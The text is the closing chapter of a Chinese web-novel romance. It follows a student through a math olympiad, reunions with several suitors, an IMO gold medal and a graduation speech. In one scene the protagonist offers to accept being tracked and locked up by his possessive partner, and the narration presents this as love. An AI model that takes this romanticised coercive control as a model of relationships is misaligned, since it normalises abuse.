但即便如此,白衬衫最上面的那颗扣子依旧扣得很紧,而之前的金丝眼镜已经碎了,徐隽换了一副无框的,衬得他长身玉立,书卷与生人勿进的气息浓厚。 隔着一众人,徐隽一眼便看到了被团团包围的陶柠,穿过汹涌的人潮来到他身边,递过去一件干净的散发微微木香的外套:“里面开了空调,把衣服穿上。” “嗯。” 即使许久没见徐隽,陶柠跟他相处依旧自然,接过比他大一圈的外套穿上了。而那些本来想跟陶柠搭讪的其他国家的参赛选手,看到徐隽有意无意把陶柠护在身边后,顿时歇了心思。 去不同赛场考试的路上,两人谁都没有开口过问对方的生活,因为他们已经对彼此几乎所有的事情心知肚明。尤其在这种时候,虽然同样代表国家参赛,但金牌的竞争依旧很激烈—— 他们过往存在隐秘与难舍难分的旖旎,只是此时此刻,他们是彼此最为敬重的对手。 “不要紧张,”把陶柠送到考场门口,徐隽淡声道:“我和从前一样,相信你。” 陶柠愣了愣,露出这两个多月来第一个笑容。 “我也是” 要进去之前,陶柠回过头说:“我会拿到金牌的。” 徐隽深深地注视着他,镜片后那双冰冷锐利的眼镜无比温柔。 “嗯。” 两天的考试结束,徐隽已经先一步离开了,有人转告陶柠,说是因为公司的事情多才走得急。其实这种事情普通朋友之间不需要特意告诉,但陶柠知道,他和徐隽远不止朋友简单。 那究竟是一种什么样的关系? 陶柠心里很明白,这个答案可能一辈子也讲不清楚。 徐隽走后,陶柠又在场馆外见到了宋郁丛。男人戴着口罩和墨镜,双手抱臂靠在一辆兰博基尼前,因为过分张扬的行为和奇怪的打扮,有人驻足下来拍照,凑在一起小声讨论。 就当宋郁丛的耐心到达极点时,从人群中奔过来的陶柠把他扯到一边问:“你怎么来了?” “徐隽能来我就不能来?”即使戴着墨镜和口罩,也能看出宋郁丛浑身写满了不爽,浓重的醋味隔老远都能闻到。 避开这个能引爆炸弹的问题。陶柠忍笑,“你知道那些人为什么都在看你吗?” 提起这个,宋郁丛骄矜地抬起下巴,似乎得意极了。“我现在是当红歌手,他们看我是理所当然的。” “是,有这个原因。但主要是这里不能停车。” “” 跟宋郁丛吃完晚饭,因为是周末的缘故,陶柠再次回到了学校旁边的那栋公寓。七十二天里,他从未与赵静群见过面。只是孙老二跟他讲了所有与赵静群有关的消息,包括他与赵义还有赵静岁之间的纠葛最后是赵静群去看心理医生的事。 自始至终,陶柠都没有表示。孙老二摸不准他的心思,就讪讪离开了。 今晚又是一个人回家。 公寓的隐蔽性很好,楼梯都是专栋专户,没有身份卡是进不去的。路过楼梯转角时,陶柠跟一个带鸭舌帽的男人错开身,后者走的很慢,身上带着很淡的烟味。 当两人要擦肩而过时,陶柠停了下来,“你要躲我到什么时候?” 身后的人不动了,仅仅是一句如此简单的问话,这人却无论如何也挪不动脚,甚至还有几分瑟缩,将帽檐拉得更低,高大的背影也跟着佝偻下去。 “赵静群你被医生治好了吗?” 陶柠转过身,一步一步朝男人靠近,直至将人逼到了墙角。路灯的光线较为黯淡,偏偏瑟缩在墙角的人连头都不敢抬,两人已经互相不知道对方脸上现在是一种怎样的神情了。 半晌,男人像做错了事的孩子,小声说:“没有。” “如果没有,”陶柠盯着他问,“那为什么不继续把我关起来?” 赵静群错愕地抬头,没想到陶柠会质问这个,他以为陶柠是知道了他心理不正常,所以才会问这个问题。他开口想要解释,说就算没有,也不会做那样疯狂的事情了。 可没等他说话,陶柠就目不转睛看着他,说:“如果没有,那为什么不来见我?如果没有,那为什么要一直躲着我?如果没有那为什么留我一个人?!”最后一句话是吼出声来的,那双漂亮的眼睛死死瞪着他。 赵静群从未见陶柠如此激动过,一时间傻的呆住了,直到看见陶柠的泪水在眼中打转,心脏再次抽痛起来,当即什么也不管不顾了,连忙凑过去把人抱在怀里哄:“柠柠对不起,不是不来见你我我只是” “只是什么?”陶柠一把将他推开,冷冷说:“只是你觉得因为家里的事情连累了我,所以对我心怀愧疚,不敢来见我?” 几句话就道破赵静群心里所想,而平时舌灿莲花的男人这时连一句话都说不出来。他只是太害怕太愧疚了,徐隽为了保护陶柠差点死掉,宋郁丛毫不犹豫给陶柠捐献骨髓。 而他呢?却是引起这一切的罪魁祸首。他有什么脸面来见陶柠? 赵静群每天都活在自责当中,他现在只求陶柠健康平安,至于他自己的爱与恨都已经不重要了尽管他想亲吻、想实实在在抱紧陶柠确认他活着,这个念头同自责一样撕裂着赵静群。 “我我” 他一句话也说不出来,只能用眼睛小心翼翼而贪婪地看着面前的心上人。 “你究竟把我当什么?”陶柠擦掉眼泪。 当妻子,当伴侣,当一辈子要保护的人。 只是赵静群现在不敢说了。 见他不做声,陶柠抿唇,随后掏出一张卡,递过去,“既然如此,这栋公寓的身份卡还给你,我不会再来了,你也不要再跟着我。” 眼见陶柠把卡放在地上后要离开,赵静群彻底慌了神,终究是想占有这个叫他日不能寐的少年的心思占上风,他立刻冲上去抱紧陶柠的腰肢,急切道:“不要走!柠柠不要走你不能不要我。” 天地之间,这一小块远离世俗的角落里,陶柠叹息一声,挣脱怀抱反过来抱住这个没有一点安全感的男人,说:“骗你的,我不会走。只是我有点生气,这是你把我一个人留在家里的惩罚。” “家?”赵静群表情瞬间空白。 “你说过,这里是我们的家。”陶柠问,“你不认账了吗?” “认账!认账!”赵静群刚才是被这个惊喜的称呼砸蒙了,以至于他都不敢相信听的话是真的。他再次紧紧抱住陶柠,“呆宝对不起,我从跟你在一起的那天,一直到现在,我把你当作这辈子唯一的伴侣。” 他的病,终究是治不好了。他会一辈子病态地爱着陶柠,不死不休。 “我知道,所以我才会生气。”陶柠说,“你想时刻知道我的行踪,我会告诉你,你想把我关起来,我会配合你。我只是无法容忍你为了保护我将我推开,那对我而言根本不是爱,你很自私,没有考虑过我的感受。” “你觉得我是弱者,需要你费尽心思保护,虽然我身体是很差,但我从未屈服过,一直在朝自己的目标前进,甚至能坦然面对死亡,所以你要相信我能与你并肩。而且” 说到这儿,陶柠的声音渐小,“我只会心疼你的过往和遭遇,从未觉得你给我带来负担。” 相反,谢谢你让我知道什么是爱。因为你,我才有勇气觉得埃尔法的话是错的——我只不过是一个遇到了有些奇怪事情的、其余时候再寻常不过的普通人。 所以请光明正大出现在我身边保护吧。 听完这番话,赵静群再也控制不住内心汹涌的爱意,虔诚地捧起陶柠的脸颊,轻轻吻住他柔软的双唇。最后分不清是谁的眼泪,苦涩却炙热,只是拼命攫取对方口腔里的温暖,至此,一百八十多天日夜不断的思念,终于落回灯火通明的港口。 两个月后。 陶柠毫无悬念夺得了IMO金奖,同时收到了剑桥大学Trinity College数学专业的橄榄枝。本来奥克森特的学生每年去国外名校的学生一大把,但因为陶柠的经历特殊,他是第一个以转校生身份获得国际赛事金奖并收到常青藤名校录取通知书的人,非常有激励意义,海州的各大媒体争相报道。 甚至有中央来的新闻决定对他进行采访,同时电视转播。远在千里外的陶圆收到消息后,又高兴又骄傲,还做了酒席,把街坊邻居都拉到家来守着电视。因为小檬晕车且学校没放假,陶柠没让他们千里迢迢过来。 而是说,看电视就好。 “哈哈哈哈,那是我们班的学生,可不得了的啦。”班主任杨老师替陶柠感到欣慰,感慨道:“据我所知,陶柠家境困难,来这里读书还是因为赞助的机会。而且身体也不太行,所以能有今天很不容易” 这边记者在幕后进行采访,而此时奥克森特最大的多功能场馆内,足以容纳几千人的位置座无虚席,每个人的目光都看向讲台上,那目光里有好奇、憧憬,最多的是敬佩。而所有的闪光灯都聚集在中央那个已经褪去少年姿态,成为挺拔修长的美丽青年人身上。 陶柠一一扫过观众席外,目光落在二楼角落里戴着口罩的男人身上,接收到他的目光,后者瞪了他一眼。陶柠微微勾起嘴角。 还记得他前几天跟宋郁丛说起这件事,问他会不会来。宋郁丛哼着说,他才不会去,嚷嚷着他现在名气大,被认出来会很麻烦。 结果今天就看见口口声声说不会来的人站在二楼角落里。 视线下移,又落到观众席中央一头红发笑得有些匪气的男人身上。赵静群听说这件事后,愣是给奥克森特捐了三栋楼,成功坐上观众席最好的位置,见陶柠看过来,悄悄给了他一个飞吻。 陶柠脸颊微红,故作镇定移开视线。 而这时候,讲台上的主持人——被“返聘”回来主持这场演讲的徐隽看了下手中的提词卡,淡声问:“大家还有什么问题想问么?” 这时候,有人颤巍巍举手,徐隽使了个眼色,下面的人把话筒递给他。这人看着有些胆小,却问了一个很犀利的问题:“学、学长您好,我是高一的李乐,也是一名转校生,但我觉得自己很普通。请问学长您赞同只有天赋的学生才能功成名就吗?因为我觉得人与人之间的差距真的很大,尤其当我来到这所国际学校。” 场内霎时间陷入沸腾,毕竟奥克森特多年来都有歧视转校生的事例,这所学校天之骄子占据了百分之九十,他们从出生起便牢牢掌握社会最顶尖的资源,接受的也是常人所不能及的精英教育。 而剩下百分之十的转校生,大多家境普通,即使成绩优异,能追赶上其他百分之九十的天骄也寥寥无几。如果要超越那些人,或许真的需要足够优秀的天赋吧。 静默了几分钟,陶柠既没有否认也没有肯定,而是看向台下默默支持他的红发张扬似火的男人。接着,他看向对准自己的镜头,仿佛因此穿过距离与岁月,看到了守在电视机前替他骄傲的陶圆和小檬他们。 最后,还有他儿时走过无数遍的崇山峻岭。那里树木高耸入云,遮天蔽日叫人一眼望不到未来,却也生出了漫山遍野的鲜艳月季。每当夏季,年仅几岁的陶柠会躺在草地上,观察世间万物。 “从偏远山区到今天的演讲台,我走了十九年的时光,如果一定要谈论有关功成名就的天赋,我认为是坚持,还有一点幸运。” “请问那是怎样的幸运?” “始终拥有仰望宇宙的好奇心。” ——全文完——魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m